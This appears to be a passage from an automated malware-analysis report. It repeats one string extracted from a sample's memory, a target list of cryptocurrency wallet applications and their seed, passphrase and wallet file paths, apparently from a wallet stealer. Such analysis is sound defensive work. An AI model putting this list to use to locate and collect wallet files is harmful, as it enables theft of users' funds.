Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000005.00000002.1882889990.00000000002B4000.00000040.00000001.01000000.00000004.sdmp	String found in binary or memory: allet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 